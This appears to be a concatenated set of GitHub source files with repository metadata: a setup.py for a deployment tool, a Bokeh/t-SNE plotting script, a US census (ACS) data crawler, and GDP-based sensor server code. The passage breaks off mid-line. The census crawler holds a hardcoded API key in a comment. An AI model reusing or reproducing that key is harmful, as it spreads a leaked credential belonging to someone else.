"toalaska/deploy", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# coding=utf-8\nfrom setuptools import setup, find_packages\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nwith open('requirements.txt') as f:\n requirements = [l for l in f.read().splitlines() if l]\n\nsetup(name=\"deper\", # 项目名\n version=\"0.0.6\", # 版本号\n description=\"项目部署工具\", #简介\n long_description=long_description, # 长简介 这里使用的 readme 内容\n long_description_content_type=\"text/markdown\",\n license=\"BSD\", # 授权\n install_requires=requirements, # 依赖\n author=\"toalaska\", # 作者\n author_email=\"[email protected]\", # 邮箱\n url=\"https://github.com/toalaska/deploy\", # 地址\n download_url=\"https://github.com/toalaska/deploy/archive/master.zip\",\n packages=find_packages(\"deploy\"),\n keywords=[\"deploy\", \"oss\",\"ssh\"],\n zip_safe=True)" } ]
3
singerm0/RandomStuff
https://github.com/singerm0/RandomStuff
6a65eb2b7e690cdfb6f1e995617fb4247e532804
796e059864cb2f7960ceeeb123ed6b81be54cba2
685ee347cd437ccf01289ae31ddf0129569ccd69
refs/heads/master
2020-04-05T08:43:09.513891
2018-11-13T21:04:46
2018-11-13T21:04:46
156,726,456
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5877986550331116, "alphanum_fraction": 0.6024124622344971, "avg_line_length": 33.33606719970703, "blob_id": "9fa3e67396fb9b7c23d295079d990b7138c18ed5", "content_id": "da58afdb9a79a97534d175fb291ade2066f99cc1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4311, "license_type": "no_license", "max_line_length": 102, "num_lines": 122, "path": "/graphing.py", "repo_name": "singerm0/RandomStuff", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Nov 7 20:36:52 2018\r\n\r\n@author: Matthew\r\n \r\ncreates multicolored hover over movable graph with bokeh,\r\nmake sure to change the syspath for autoguru and the model location on your run\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom sklearn.manifold import TSNE\r\nimport bokeh.plotting as bk\r\nfrom bokeh.models import HoverTool\r\nfrom copy import deepcopy\r\nimport json\r\nimport random\r\nfrom itertools import compress\r\nimport collections\r\n\r\n\r\nimport sys\r\n# manually adds auto guru to my python path\r\nsys.path.append(r'E:\\hackathon\\autoguru\\question-answering')\r\nfrom questionanswering.embeddings import Embedder\r\n#change this for your program\r\n\r\ndef main():\r\n model = 'E:\\\\hackathon\\\\answer\\\\embedder.npz'\r\n # eembedder model location, change for yourprogram\r\n embedder = Embedder.load(model)\r\n \r\n with open('E://hackathon//final//question-answers.json') as f:\r\n pracDic = collections.OrderedDict(json.load(f))\r\n # load json dict \r\n embedded = np.zeros((len(pracDic),300))\r\n ind = 0\r\n question = []\r\n answers = []\r\n # initialize data structures\r\n for x in pracDic.items():\r\n question.append(x[0])\r\n answers.append(x[1])\r\n embedded[ind,:] = embedder.embed(x[0])\r\n ind += 1\r\n #construct structures from dictionary\r\n \r\n embedded = pd.DataFrame(embedded) # make embedded a dataframe\r\n \r\n # not needed, nothing should be null\r\n #pracDic = dict(compress(list(pracDic.items()),list(~embedded.isnull().any(axis=1))))\r\n #embedded = embedded.loc[~embedded.isnull().any(axis=1),:]\r\n \r\n tsne = TSNE(n_components =2,verbose=0,perplexity=12,n_iter=10000, early_exaggeration =15)\r\n tsne_results = np.array(tsne.fit_transform(embedded))\r\n # creates tsne model and fits our data to it\r\n finalQuest = pd.DataFrame({'quest':question,'ans':answers,'origVects':np.array(embedded).tolist(),\r\n 'vectX':tsne_results[:,0],'vectY':tsne_results[:,1]})\r\n df = deepcopy(finalQuest)\r\n # this isnt needed i didnt want to mess with finalQuest while debugging\r\n \r\n def splitFrame(df):\r\n ''' created a list of dataframes with each df having different questions'''\r\n ansSet = list(set(df['ans']))\r\n dfList = []\r\n for x in ansSet:\r\n manipDf = df.loc[df['ans'] == x,:]\r\n dfList.append(manipDf) \r\n return(dfList)\r\n splits = splitFrame(df)\r\n \r\n bk.output_file(\"toolbar.html\")\r\n #sets the output url \r\n TOOLTIPS = ''' \r\n <div>\r\n <div> \r\n <span style=\"font-size: 17px; font-weight: bold;\">Question:</span> \r\n </div>\r\n <div> \r\n <span style=\"font-size: 17px;\">@quest{safe}</span> \r\n </div>\r\n <div> \r\n <span style=\"font-size: 17px; font-weight: bold;\">Answer:</span> \r\n </div>\r\n <div> \r\n <span style=\"font-size: 17px;\">@ans{safe}</span> \r\n </div>\r\n </div>'''\r\n #creates the hover over text\r\n \r\n p = bk.figure(plot_width=850, plot_height=700,title='Questions and Answers')\r\n p.title.text_color = 'black'\r\n p.title.text_font = 'helvetica'\r\n p.title.text_font_size = '24pt'\r\n p.background_fill_color = '#f4f3ef'\r\n p.xaxis.visible =False\r\n p.yaxis.visible = False\r\n p.xgrid.grid_line_color = None\r\n p.ygrid.grid_line_color = None\r\n #sets details for graph\r\n \r\n \r\n color = []\r\n for x in range(1000):\r\n color.append(\"#%06x\" % random.randint(0, 0xFFFFFF))\r\n colors = list(set(color))\r\n #generates a list of colors\r\n \r\n # manually selecting colors, this is just for hte demo, comment out this line if using more\r\n #colors = ['firebrick','royalblue','peru','teal','seagreen','darkmagenta','gold','black','orange']\r\n \r\n for x in range(len(splits)):\r\n r = p.scatter('vectX','vectY', size=10,source=bk.ColumnDataSource(splits[x]),color=colors[x])\r\n p.add_tools(HoverTool(renderers=[r], tooltips=TOOLTIPS))\r\n #plots all of the different colored points with their respective hover text\r\n \r\n bk.show(p)\r\n return (splits,pracDic)\r\n #shows the plot\r\nif __name__ == '__main__':\r\n (splits,pracDic) = main()\r\n" } ]
1
dylrch/ACS-Crawler
https://github.com/dylrch/ACS-Crawler
b8d5a20acae2733afe2965e4efe55145051a399c
5350f93c966769402aabbe0f95573b57e3b69cf3
9fc31c049a593b617253ac448dca27acfbdfb9b3
refs/heads/master
2018-05-17T14:01:16.025348
2017-06-01T22:47:27
2017-06-01T22:47:27
93,105,792
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7142857313156128, "alphanum_fraction": 0.7142857313156128, "avg_line_length": 13, "blob_id": "1beba983a8555e88033eab59433b1eef3af298bc", "content_id": "7fc02d5debd13b7a6824cd8961caed9491cd10ad", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 14, "license_type": "permissive", "max_line_length": 13, "num_lines": 1, "path": "/README.md", "repo_name": "dylrch/ACS-Crawler", "src_encoding": "UTF-8", "text": "# ACS-Crawler\n" }, { "alpha_fraction": 0.5413207411766052, "alphanum_fraction": 0.5597139000892639, "avg_line_length": 43.48295593261719, "blob_id": "53905b598b5ad5a28af6210b42eb5dbb1e8c38e7", "content_id": "67799a38c309f9248b84465a0e321b4f3903999a", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7829, "license_type": "permissive", "max_line_length": 180, "num_lines": 176, "path": "/acs-crawler.py", "repo_name": "dylrch/ACS-Crawler", "src_encoding": "UTF-8", "text": "import census\n#import arcpy\nimport xlsxwriter as xl\nimport os\nimport requests\nimport math\nimport pandas as pd\nimport collections\n#arcpy.env.overwriteOutput = True\n#arcpy.env.workspace = os.getcwd()\n\n\nclass Variables():\n def __init__(self):\n r = requests.get('http://api.census.gov/data/2015/acs5/variables.json')\n self.json = r.json()\n self.IDs = self.json['variables'].keys()\n self.Master_Dictionary = {}\n self.CreateTopics()\n self.PopulateTopics()\n def getAllTables(self):\n self.AllTablesList = list()\n removed_topics = ['BLKGRP','BTBG','BTTR','B02014','B02015']\n for i in self.IDs:\n topicid = i.split('_')\n if topicid[0] in self.AllTablesList:\n pass\n else:\n if topicid[0][0] not in removed_topics:\n self.AllTablesList.append(topicid[0])\n index = 0\n for table in self.AllTablesList:\n if table in removed_topics:\n del self.AllTablesList[index]\n index = index - 1\n index = index + 1\n\n self.AllTablesList.sort()\n del self.AllTablesList[-8:]\n return self.AllTablesList\n\n\n def getFields(self):\n return self.IDs\n def CreateTopics(self):\n for i in self.IDs:\n topicid = i.split('_')\n if topicid[0] in self.Master_Dictionary:\n pass\n elif topicid[0] not in self.Master_Dictionary:\n self.Master_Dictionary[topicid[0]] = []\n def PopulateTopics(self):\n for i in self.IDs:\n topicid = i.split('_')\n self.json['variables'][i]['ID'] = i\n self.Master_Dictionary[topicid[0]].append(self.json['variables'][i])\n def GetTopicList(self,topicID):\n header = self.Master_Dictionary[topicID][0].keys()\n outlist = list()\n outlist.append(header)\n for i in self.Master_Dictionary[topicID]:\n templist = []\n for z in i.iteritems():\n templist.append(z[1])\n outlist.append(templist)\n info_ids = []\n for i in outlist:\n info_ids.append(i[1])\n del info_ids[0]\n return info_ids\nclass Dataset():\n def __init__(self, key, ids, year, topicid):\n self.request_list = []\n self.fields_list = []\n self.TopicID = topicid\n self.Year = year\n self.Key = key\n ids.sort()\n self.IDs = ids\n c = census.Census(self.Key)\n\n num_fields = len(self.IDs)\n num_requests = int(math.ceil(float(num_fields)/48))\n for section in range(num_requests):\n beginning = section * 48\n end = (section + 1) * 48\n slice_object = slice(beginning,end)\n sliced_fields = self.IDs[slice_object]\n self.fields_list.append(sliced_fields)\n for group in self.fields_list:\n census_object = c.acs5.get(group,year=self.Year,geo={'for': 'block group:*',\n 'in': 'state:27 county:123'})\n self.request_list.append(census_object)\n self.Data = self.request_list\n self.CompileList()\n def CompileList(self):\n self.TableList = list()\n\n self.header_group_list = []\n for group in self.Data:\n grouplist = []\n header = ['state', 'county', 'tract', 'blockgroup', 'GEOID']\n getheader = True\n for geoid_data in group:\n geoid_list = list()\n #geoid_data is a dictionary of field Ids as keys, and values as the value for that key\n #each geoid_data object represents one GEOID\n #Ex: {B01001_10E : 23, B02001_12E : 16, county: 123, state : 27, block group : 3, tract: 030201}\n value_list = list()\n ordered_geoid_data = collections.OrderedDict(sorted(geoid_data.items()))\n\n for field_tuple in ordered_geoid_data.iteritems():\n #field_tuple looks like: ('field_id','value'). Ex: ('B01001_047E','40')\n #Essentially, loop through all the fields available in that geoid and append the value to templist\n #templist at the end contains all of the values\n value = field_tuple[1]\n if field_tuple[0] in self.IDs: # If the field is a field ID, add the value to a list. Append the field ID to the header.\n value_list.append(value)\n if getheader == True:\n header.append(field_tuple[0])\n elif field_tuple[0] not in self.IDs: # If field_tuple[0] isn't in Self.IDs, it is State, County, Block Group, or Tract. I.E. not a field ID\n geoid_list.append(value)\n if getheader == True:\n self.header_group_list.append(header)\n #grouplist.append(header)\n getheader = False\n geoid_list.sort()\n rowlist = [0,0,0,0]\n for field in geoid_list:\n if len(field) > 5:\n rowlist[2] = field\n elif field == '123':\n rowlist[1] = field\n elif field == '27':\n rowlist[0] = field\n elif len(field) == 1:\n rowlist[3] = field\n else:\n print('ERROR')\n geoid = str(rowlist[0]) + str(rowlist[1]) + str(rowlist[2]) + str(rowlist[3]) # Create GEOID from the first four fields. Order is State, County, Tract, Block Group\n rowlist.append(geoid) # Add GEOID to the row\n for value in value_list: # For every value in the value list, append to the row after all of the GEOID information\n rowlist.append(value)\n grouplist.append(rowlist) # After row is calculated, add that row to the group's list\n self.TableList.append(grouplist) # After every row is calculated, add the list of those rows to the Table list. Many tables should only have 1 element in Table list.\n\n def Write(self,outlocation):\n os.chdir(outlocation)\n master_df = pd.DataFrame.from_records(self.TableList[0], columns=self.header_group_list[0])\n for block in range(len(self.TableList)):\n if block > 0:\n df = pd.DataFrame.from_records(self.TableList[block], columns=self.header_group_list[block])\n newdf = df.ix[:,5:]\n master_df = pd.merge(master_df,newdf,left_index=True,right_index=True)\n writer = pd.ExcelWriter('{0}.xlsx'.format(self.TopicID), engine='xlsxwriter',)\n master_df.to_excel(writer, sheet_name='{0}'.format(self.TopicID),index=False)\n workbook = writer.book\n worksheet = writer.sheets['{0}'.format(self.TopicID)]\n numform = workbook.add_format({'num_format': '000000000000'})\n worksheet.set_column('E:E', cell_format=numform)\n workbook.close()\n writer.save()\n print('Written Topic ID {0}').format(self.TopicID)\n\n#key = '4c4dd724050f0f4dfd5622ad67ae664a3988a36e'\n#vars = Variables()\n#topics = vars.getAllTables()\n#for i in topics:\n #topiclist = vars.GetTopicList(i)\n #data = Dataset(key,topiclist,2013,i)\n #data.Write(r'H:\\Python Projects\\Census Crawler\\2013')\n #arcpy.MakeFeatureLayer_management(r\"H:\\Python Projects\\Census Crawler\\testdata.gdb\\SaintPaul_BlockGroups_2015\",\n #\"blkgrps\")\n #arcpy.MakeTableView_management('{0}.xlsx\\Data$'.format(i), \"census_tview\")\n #arcpy.AddJoin_management(\"blkgrps\", \"GEOID\", '{0}.xlsx\\Data$'.format(i), \"GEOID\")\n #arcpy.CopyFeatures_management(\"blkgrps\", r\"H:\\Python Projects\\Census Crawler\\testdata.gdb\\{0}\".format(i))\n" } ]
2
jsjamir/SA
https://github.com/jsjamir/SA
32cc9039c211c3f01293d1851833c720d4343971
a9d7ec2f0d1f63a0de18e6372f8f65fa2dae8eed
83b826e007c58e4bb3133559fde785265949b414
refs/heads/master
2020-03-10T21:44:09.494756
2018-04-16T06:54:43
2018-04-16T06:54:43
129,601,234
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5940456986427307, "alphanum_fraction": 0.6039695143699646, "avg_line_length": 32.38888931274414, "blob_id": "bb627e1c9cbc8a7a3df05991b29198eb7235bf51", "content_id": "9451c531dafe47090252b5f7a250b9b262af8285", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4333, "license_type": "no_license", "max_line_length": 90, "num_lines": 126, "path": "/SA (old)/server (copy).py", "repo_name": "jsjamir/SA", "src_encoding": "UTF-8", "text": "import socket\r\nimport struct\r\nimport numpy as np\r\nimport json\r\nimport gdp\r\n\r\nfrom time import sleep, ctime\r\nimport time\r\nimport threading, os, sys\r\nfrom struct import *\r\n\r\nUDP_IP_ADDRESS = \"127.0.0.1\"\r\nUDP_PORT_NO = 6789\r\n\r\ndef initialize_socket():\r\n serverSock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\r\n serverSock.bind((UDP_IP_ADDRESS, UDP_PORT_NO))\r\n return serverSock\r\ndef new_writerthread_withpipe(sensor_id ):\r\n new_r, new_w = os.pipe() #create new new_pipe\r\n new_w = os.fdopen(new_w,'w',0) #make file object\r\n new_thread = threading.Thread(\r\n target = writer, args=(sensor_id, new_r)) #create new thread\r\n new_thread.setDaemon(True)\r\n new_thread.start()\r\n return new_w\r\ndef writer(sensor_id, readpipe):\r\n time.sleep(0.5)\r\n print \"Sensor_id:\", sensor_id, \"created.\"\r\n r = os.fdopen(readpipe,'r',0)\r\n while True:\r\n message = r.readline().rstrip('\\n')\r\n print 'sensor_id:', sensor_id, \"| message:\", message\r\n filename = sensor_id + '.txt'\r\n file_write(filename, message)\r\n print \"Sensor_id:\", sensor_id, \"exited.\"\r\ndef file_write(filename, message):\r\n f = open(filename, 'a')\r\n f.write(message)\r\n f.write('\\n')\r\n f.close()\r\ndef get_pack_format(length):\r\n length = (length-1)/3\r\n pack_format = 'H' * length + 'B' * (length+1)\r\n return pack_format\r\ndef unsort_data(sorted_data):\r\n unsorted_data = [sorted_data[-1]]\r\n offset = len(sorted_data)/2\r\n for i in range(offset):\r\n unsorted_data.append(sorted_data[offset+i])\r\n unsorted_data.append(sorted_data[i])\r\n return unsorted_data\r\ndef int16_to_float(data, (minval, maxval)):\r\n data = float(data) / 2**16 * (maxval-minval) + minval\r\n return data\r\ndef int16_to_float_list(sorted_data, boundaries):\r\n offset = len(sorted_data)/2\r\n for i in range(offset):\r\n if sorted_data[i + offset] != 2:\r\n sorted_data[i] = int16_to_float(\r\n sorted_data[i], boundaries[sorted_data[i+offset]] )\r\n return sorted_data\r\ndef decode_data(packed_data, boundaries):\r\n pack_format = get_pack_format(len(packed_data))\r\n unpacked_data = list(unpack(pack_format, packed_data))\r\n received_data = int16_to_float_list(unpacked_data, boundaries)\r\n unsorted_data = unsort_data(received_data)\r\n return unsorted_data\r\ndef get_boundaries(parameters):\r\n boundaries = {}\r\n for i in range(1, len(parameters), 2):\r\n boundaries[parameters[i]] = parameters[i+1]\r\n return boundaries\r\ndef csvdata(data):\r\n message = \"\"\r\n for i in data[1:]:\r\n message = message + str(i) + ','\r\n return message.rstrip(',')\r\ndef write_config(filename):\r\n r = open(filename, 'r')\r\n gcl_input = r.readline().rstrip('\\n')\r\n pem_input = r.readline().rstrip('\\n')\r\n r.close\r\n return gcl_input, pem_input\r\ndef gcl_subscription_init(config_file):\r\n gdp.gdp_init()\r\n gcl_input = write_config(\"inputs.txt\")[0]\r\n print \"gcl: [%r]\" % gcl_input\r\n gcl_name = gdp.GDP_NAME(gcl_input)\r\n gcl_handle = gdp.GDP_GCL(gcl_name, gdp.GDP_MODE_RO)\r\n return gcl_handle\r\n\r\ndef main():\r\n #initialize gcl\r\n gcl_handle = gcl_subscription_init(\"inputs.txt\")\r\n gcl_handle.subscribe(0, 0, None)\r\n sensor_id_boundaries = {}\r\n sensor_id_writepipe = {}\r\n sensor_ids = {} #sensor_id:write_pipe dictionary\r\n while True:\r\n event = gcl_handle.get_next_event(None)\r\n data = event['datum']['data']\r\n\r\n if len(data) > 20: #it is a first time sensor\r\n parameters = json.loads(data)\r\n boundaries = get_boundaries(parameters)\r\n sensor_id = parameters[0]\r\n if sensor_id in sensor_id_boundaries:\r\n pass\r\n else:\r\n print \"New Sensor! ID:\", sensor_id\r\n sensor_id_boundaries[sensor_id] = boundaries\r\n sensor_id_writepipe[sensor_id] = new_writerthread_withpipe(str(sensor_id))\r\n print sensor_id_boundaries\r\n else:\r\n unpack_format = len(data) * 'B'\r\n parse_id = unpack(unpack_format, data)\r\n sensor_id = parse_id[-1]\r\n message = decode_data(data, sensor_id_boundaries[sensor_id])\r\n message = csvdata(message)\r\n print >>sensor_id_writepipe[sensor_id], message\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n" }, { "alpha_fraction": 0.6332703232765198, "alphanum_fraction": 0.6483932137489319, "avg_line_length": 23.045454025268555, "blob_id": "e4c10818024290740eab8fb96bab64403d4748e0", "content_id": "348a4e8f7fbe2e20691cd566acb08f8be62f3497", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 529, "license_type": "no_license", "max_line_length": 51, "num_lines": 22, "path": "/SA (old)/GDP_read.py", "repo_name": "jsjamir/SA", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport gdp\nfrom random import *\ndef write_config(filename):\n r = open(filename, 'r')\n gcl_input = r.readline().rstrip('\\n')\n pem_input = r.readline().rstrip('\\n')\n r.close\n return gcl_input, pem_input\n\ngdp.gdp_init()\nrandom_int = randint(1,100)\ngcl_input = write_config(\"inputs.txt\")[0]\nprint \"gcl: [%r]\" % gcl_input\n\ngcl_name = gdp.GDP_NAME(gcl_input)\ngcl_handle = gdp.GDP_GCL(gcl_name, gdp.GDP_MODE_RO)\n\n#GDP Reading\nrecord = gcl_handle.read(18)\nprint \"received:\", record['data']\nexit()\n" }, { "alpha_fraction": 0.6224648952484131, "alphanum_fraction": 0.6349453926086426, "avg_line_length": 21.89285659790039, "blob_id": "becde4f82dbd0b461bb8aef172ce2f2b62d4785e", "content_id": "4398c6a9c4aa31fb68d87f171dc9bba85ee41acf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 641, "license_type": "no_license", "max_line_length": 51, "num_lines": 28, "path": "/SA (old)/GDP_multiread.py", "repo_name": "jsjamir/SA", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport gdp\nfrom random import *\ndef write_config(filename):\n r = open(filename, 'r')\n gcl_input = r.readline().rstrip('\\n')\n pem_input = r.readline().rstrip('\\n')\n r.close\n return gcl_input, pem_input\n\ngdp.gdp_init()\nrandom_int = randint(1,100)\ngcl_input = write_config(\"inputs.txt\")[0]\nprint \"gcl: [%r]\" % gcl_input\n\ngcl_name = gdp.GDP_NAME(gcl_input)\ngcl_handle = gdp.GDP_GCL(gcl_name, gdp.GDP_MODE_RO)\n\n#GDP Reading\ngcl_handle.multiread(-5,4)\n\nwhile True:\n event = gcl_handle.get_next_event(None)\n if event['type'] == gdp.GDP_EVENT_EOS:\n break\n print event['datum']['data']\n\nexit()\n" }, { "alpha_fraction": 0.4678650498390198, "alphanum_fraction": 0.4773044288158417, "avg_line_length": 38.88254928588867, "blob_id": "f87d4a066b48f7e7284c4673614e85fe1f8dc1b6", "content_id": "559f84d8f359be63d0164c7894556b529c0fa78b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12183, "license_type": "no_license", "max_line_length": 138, "num_lines": 298, "path": "/servercopy.py", "repo_name": "jsjamir/SA", "src_encoding": "UTF-8", "text": "import socket\r\nimport struct\r\nimport numpy as np\r\nimport json\r\nimport gdp\r\nimport time\r\nimport threading, os, sys\r\nimport re\r\nfrom threading import Thread\r\nfrom struct import *\r\nfrom copy import deepcopy\r\nfrom Queue import Queue\r\nfrom time import sleep, ctime\r\n\r\nUDP_IP_ADDRESS = \"127.0.0.1\"\r\nUDP_PORT_NO = 6789\r\n\r\ndef control_center(q):\r\n #q.put(\"stop 123 1\")\r\n #sleep(2)\r\n #q.put(\"start 123 1\")\r\n while True:\r\n template = re.compile(r'^(status clients|status sensors( +\\d+)?|stop \\d+( +\\d+)?|start \\d+( +\\d+)?)$')\r\n command = raw_input().rstrip('\\n')\r\n if not template.match(command):\r\n print 'invalid command!'\r\n else:\r\n q.put(command)\r\ndef control_center_init():\r\n q = Queue(maxsize=0)\r\n control = Thread(target=control_center, args=(q,))\r\n control.setDaemon(True)\r\n control.start()\r\n return q\r\ndef do_commands(q):\r\n while not q.empty():\r\n command = q.get()\r\n #print \"[%r]\" % command\r\n command = command.split(' ')\r\n command_ = command[0] + ' ' + command[1]\r\n if command_ == 'status clients':\r\n print \"********************\"\r\n print \"***Status Clients***\"\r\n print \"********************\"\r\n for i in sensor_id_status:\r\n print \"client_id: %3d | timestamp: %d\" % (i, sensor_id_status[i]['timestamp'])\r\n\r\n if command_ == 'status sensors':\r\n if len(command) == 2:\r\n print \"************************\"\r\n print \"***Status Sensors All***\"\r\n print \"************************\"\r\n for i in sensor_id_status:\r\n print \"client_id:\", i\r\n if 1 in sensor_id_status[i]:\r\n print \" temp ON\"\r\n else:\r\n print \" temp OFF\"\r\n if 2 in sensor_id_status[i]:\r\n print \" humid ON\"\r\n else:\r\n print \" humid OFF\"\r\n if 3 in sensor_id_status[i]:\r\n print \" batt ON\"\r\n else:\r\n print \" batt OFF\"\r\n print \"********************\"\r\n else:\r\n print \"************************\"\r\n print \"***Status Sensors One***\"\r\n print \"************************\"\r\n i = int(command[2])\r\n if i in sensor_ids:\r\n print \"client_id:\", int(command[2])\r\n if 1 in sensor_id_status[i]:\r\n print \" temp ON\"\r\n else:\r\n print \" temp OFF\"\r\n if 2 in sensor_id_status[i]:\r\n print \" humid ON\"\r\n else:\r\n print \" humid OFF\"\r\n if 3 in sensor_id_status[i]:\r\n print \" batt ON\"\r\n else:\r\n print \" batt OFF\"\r\n print \"********************\"\r\n\r\n if command[0] == 'start':\r\n if int(command[1]) in sensor_ids:\r\n if len(command) == 2:\r\n print \"************************\"\r\n print \"***Start Sensors All****\"\r\n print \"************************\"\r\n for i in range(1,4):\r\n text = command[0] + ' ' + command[1] + ' ' + str(i)\r\n q.put(text)\r\n else:\r\n print \"************************\"\r\n print \"***Start Sensors One***\"\r\n print \"************************\"\r\n print \"client_id:\", int(command[1])\r\n if int(command[2]) in sensor_id_boundaries[int(command[1])]:\r\n sensor_id_status[ int(command[1])][int(command[2]) ] = sensor_id_boundaries[ int(command[1]) ][ int(command[2]) ]\r\n #print sensor_id_status[int(command[1])]\r\n else:\r\n print \"Invalid client ID!\"\r\n\r\n if command[0] == 'stop':\r\n if int(command[1]) in sensor_ids:\r\n if len(command) == 2:\r\n print \"************************\"\r\n print \"***Stop Sensors All****\"\r\n print \"************************\"\r\n for i in range(1,4):\r\n if i in sensor_id_status[int(command[1])]:\r\n text = command[0] + ' ' + command[1] + ' ' + str(i)\r\n q.put(text)\r\n #print text\r\n #print \"client_id:\", int(command[1])\r\n #for i in sensor_id_status[int(command[1])].keys():\r\n # if i is not 'timestamp':\r\n # del sensor_id_status[int(command[1])][i]\r\n else:\r\n print \"************************\"\r\n print \"***Stop Sensors One***\"\r\n print \"************************\"\r\n print \"client_id:\", int(command[1])\r\n if int(command[2]) in sensor_id_status[int(command[1])]:\r\n del sensor_id_status[int(command[1])][int(command[2])]\r\n else:\r\n print \"Invalid client ID!\"\r\n q.task_done()\r\ndef initialize_socket():\r\n serverSock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\r\n serverSock.bind((UDP_IP_ADDRESS, UDP_PORT_NO))\r\n return serverSock\r\ndef new_writerthread_withpipe(sensor_id ):\r\n new_r, new_w = os.pipe() #create new new_pipe\r\n new_w = os.fdopen(new_w,'w',0) #make file object\r\n new_thread = threading.Thread(\r\n target = writer, args=(sensor_id, new_r)) #create new thread\r\n new_thread.setDaemon(True)\r\n new_thread.start()\r\n return new_w\r\ndef writer(sensor_id, readpipe):\r\n gcl_handle_temp = gcl_append_init('ph.edu.upd.pcari.jasper.temp', '_temp.pem')\r\n gcl_handle_humid = gcl_append_init('ph.edu.upd.pcari.jasper.humid', '_humid.pem')\r\n gcl_handle_batt = gcl_append_init('ph.edu.upd.pcari.jasper.batt', '_batt.pem')\r\n time.sleep(0.5)\r\n print \"Sensor_id:\", sensor_id, \"created.\"\r\n r = os.fdopen(readpipe,'r',0)\r\n while True:\r\n time.sleep(0.3)\r\n message = r.readline().rstrip('\\n')\r\n if message == 'kill':\r\n break;\r\n if len(message) >= 4:\r\n message = message.split(',')\r\n encoded_data = message[0]\r\n epoch = message[1]\r\n message = message[3:]\r\n for i in range(0, len(message), 2):\r\n data = epoch + encoded_data[-1] + encoded_data[i:i+2]\r\n if message[i] == '1':\r\n gcl_handle_temp.append({\"data\": data})\r\n print \"%d >>> temp: [%s] == %s\" % ( int(sensor_id), data, message[i+1] )\r\n if message[i] == '2':\r\n gcl_handle_humid.append({\"data\": data})\r\n print \"%d >>> humid: [%s] == %s\" % ( int(sensor_id), data, message[i+1] )\r\n if message[i] == '3':\r\n gcl_handle_batt.append({\"data\": data})\r\n print \"%d >>> batt: [%s] == %s\" % ( int(sensor_id), data, message[i+1] )\r\n print \"Sensor_id:\", sensor_id, \"exited.\"\r\n while True:\r\n pass\r\ndef file_write(filename, message):\r\n f = open(filename, 'a')\r\n f.write(message)\r\n f.write('\\n')\r\n f.close()\r\ndef get_pack_format(length):\r\n length = (length-1)/3\r\n pack_format = 'H' * length + 'B' * (length+1)\r\n return pack_format\r\ndef unsort_data(sorted_data):\r\n unsorted_data = [sorted_data[-1]]\r\n offset = len(sorted_data)/2\r\n for i in range(offset):\r\n unsorted_data.append(sorted_data[offset+i])\r\n unsorted_data.append(sorted_data[i])\r\n return unsorted_data\r\ndef int16_to_float(data, (minval, maxval)):\r\n data = float(data) / 2**16 * (maxval-minval) + minval\r\n return data\r\ndef int16_to_float_list(sorted_data, boundaries):\r\n offset = len(sorted_data)/2\r\n for i in range(offset):\r\n if sorted_data[i + offset] != 2:\r\n sorted_data[i] = int16_to_float(\r\n sorted_data[i], boundaries[sorted_data[i+offset]] )\r\n return sorted_data\r\ndef decode_data(packed_data, boundaries):\r\n pack_format = get_pack_format(len(packed_data))\r\n unpacked_data = list(unpack(pack_format, packed_data))\r\n received_data = int16_to_float_list(unpacked_data, boundaries)\r\n unsorted_data = unsort_data(received_data)\r\n return unsorted_data\r\ndef get_boundaries(parameters):\r\n boundaries = {}\r\n for i in range(1, len(parameters), 2):\r\n boundaries[parameters[i]] = parameters[i+1]\r\n return boundaries\r\ndef csvdata(data):\r\n message = \"\"\r\n for i in data[1:]:\r\n message = message + str(i) + ','\r\n return message.rstrip(',')\r\ndef write_config(filename):\r\n r = open(filename, 'r')\r\n gcl_input = r.readline().rstrip('\\n')\r\n pem_input = r.readline().rstrip('\\n')\r\n r.close\r\n return gcl_input, pem_input\r\ndef gcl_subscription_init():\r\n gdp.gdp_init()\r\n gcl_input = \"ph.edu.upd.pcari.jasper.data\"\r\n print \"gcl: [%r]\" % gcl_input\r\n gcl_name = gdp.GDP_NAME(gcl_input)\r\n gcl_handle = gdp.GDP_GCL(gcl_name, gdp.GDP_MODE_RO)\r\n return gcl_handle\r\ndef gcl_append_init(gcl_input, pem_input):\r\n gdp.gdp_init()\r\n gcl_name = gdp.GDP_NAME(gcl_input)\r\n skey = gdp.EP_CRYPTO_KEY(filename=pem_input,\r\n keyform=gdp.EP_CRYPTO_KEYFORM_PEM, flags=gdp.EP_CRYPTO_F_SECRET)\r\n\r\n gcl_handle = gdp.GDP_GCL(gcl_name, gdp.GDP_MODE_RA, {\"skey\":skey})\r\n return gcl_handle\r\n\r\n\r\ndef main():\r\n #initialize gcl\r\n gcl_handle = gcl_subscription_init()\r\n q = control_center_init()\r\n gcl_handle.subscribe(0, 0, None)\r\n sensor_id_boundaries = {}\r\n sensor_id_writepipe = {}\r\n sensor_id_status = {}\r\n sensor_ids = [] #sensor_id:write_pipe dictionary\r\n while True:\r\n do_commands(q)\r\n event = gcl_handle.get_next_event(None)\r\n time_ = event['datum']['ts']['tv_sec']\r\n time = pack('Q', time_)\r\n data = event['datum']['data']\r\n\r\n if len(data) > 20: #it is a first time sensor\r\n parameters = json.loads(data)\r\n boundaries = get_boundaries(parameters)\r\n sensor_id = parameters[0]\r\n if sensor_id in sensor_ids: #update sensor\r\n print >>sensor_id_writepipe[sensor_id], 'kill'\r\n print \"Updated! ID:\", 